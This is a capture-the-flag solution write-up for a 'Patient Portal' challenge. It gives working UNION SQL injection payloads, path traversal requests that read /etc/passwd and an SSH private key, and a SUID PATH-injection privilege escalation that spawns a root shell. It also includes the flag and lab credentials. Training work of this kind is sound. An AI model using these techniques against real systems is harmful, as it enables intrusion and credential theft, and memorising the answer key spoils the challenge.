- Remove undeployed challenges: Phantom_Byte, Cr4cK_w1f1, Lain_Br34kC0r3 V1, Lain_VS_Knights, Lets_All_Love_UART, AETHER_NET, Last_Train_451, Web3/ - Sync 24 solve/ files from main CTF-Espilon repo - Update all READMEs with real CTFd final scores at freeze - Add git-header.png banner - Rewrite README: scoreboard top 10, edition stats (1410 users, 264 boards, 1344 solves), correct freeze date March 26 2026
138 lines
2.4 KiB
Markdown
138 lines
2.4 KiB
Markdown
# Patient Portal — Solution
|
|
|
|
## Overview
|
|
|
|
Multi-stage challenge: SQLi → Admin Panel → Path Traversal → SSH Access → SUID Privesc → Root
|
|
|
|
**Flag:** `ESPILON{r00t_0f_s41nt3_m1k4}`
|
|
|
|
---
|
|
|
|
## Stage 1: SQL Injection
|
|
|
|
The `/search` endpoint is vulnerable to UNION-based SQL injection.
|
|
|
|
### Enumerate columns (6 columns)
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,2,3,4,5,6--
|
|
```
|
|
|
|
### Dump table names
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,name,3,4,5,6 FROM sqlite_master WHERE type='table'--
|
|
```
|
|
|
|
Tables found: `patients`, `users`, `system_config`
|
|
|
|
### Dump users table
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,username,password_hash,role,5,6 FROM users--
|
|
```
|
|
|
|
Results:
|
|
- `admin` : `e0b7e413c064de43c6c1ca40a8c175a1` (MD5 of `SainteMika2026`)
|
|
- `nurse01` : (irrelevant hash)
|
|
|
|
### Dump system_config table
|
|
|
|
```
|
|
/search?q=' UNION SELECT 1,key,value,3,4,5 FROM system_config--
|
|
```
|
|
|
|
Key finding: `ssh_passphrase = wired-med-013`
|
|
|
|
### Crack the admin password
|
|
|
|
```bash
|
|
echo -n "SainteMika2026" | md5sum
|
|
# e0b7e413c064de43c6c1ca40a8c175a1
|
|
```
|
|
|
|
Or use CrackStation / hashcat / john.
|
|
|
|
---
|
|
|
|
## Stage 2: Admin Access
|
|
|
|
Login at `/login` with:
|
|
- Username: `admin`
|
|
- Password: `SainteMika2026`
|
|
|
|
The admin panel shows:
|
|
- Report download links
|
|
- System info: SSH on port 2222, user `webadmin`
|
|
|
|
---
|
|
|
|
## Stage 3: Path Traversal
|
|
|
|
The report download endpoint `/admin/reports?file=` is vulnerable to path traversal.
|
|
|
|
### Read /etc/passwd
|
|
|
|
```
|
|
/admin/reports?file=../../../etc/passwd
|
|
```
|
|
|
|
Confirms user `webadmin` exists.
|
|
|
|
### Extract SSH private key
|
|
|
|
```
|
|
/admin/reports?file=../../../home/webadmin/.ssh/id_rsa
|
|
```
|
|
|
|
Save the key to a file locally.
|
|
|
|
---
|
|
|
|
## Stage 4: SSH Access
|
|
|
|
```bash
|
|
chmod 600 id_rsa
|
|
ssh -i id_rsa -p 2222 webadmin@<HOST>
|
|
# Passphrase: wired-med-013 (from Stage 1 system_config table)
|
|
```
|
|
|
|
---
|
|
|
|
## Stage 5: Privilege Escalation
|
|
|
|
### Find SUID binaries
|
|
|
|
```bash
|
|
find / -perm -4000 -type f 2>/dev/null
|
|
```
|
|
|
|
Found: `/opt/navi-monitor/vital-check` (SUID root)
|
|
|
|
### Analyze the binary
|
|
|
|
```bash
|
|
strings /opt/navi-monitor/vital-check
|
|
```
|
|
|
|
The binary calls `system("logger -t vital-check 'check complete'")` using a **relative path** for `logger`.
|
|
|
|
### PATH injection
|
|
|
|
```bash
|
|
echo '#!/bin/bash' > /tmp/logger
|
|
echo '/bin/bash -p' >> /tmp/logger
|
|
chmod +x /tmp/logger
|
|
export PATH=/tmp:$PATH
|
|
/opt/navi-monitor/vital-check
|
|
```
|
|
|
|
This spawns a root shell (`bash -p` preserves the SUID euid).
|
|
|
|
### Get the flag
|
|
|
|
```bash
|
|
cat /root/root.txt
|
|
# ESPILON{r00t_0f_s41nt3_m1k4}
|
|
```
|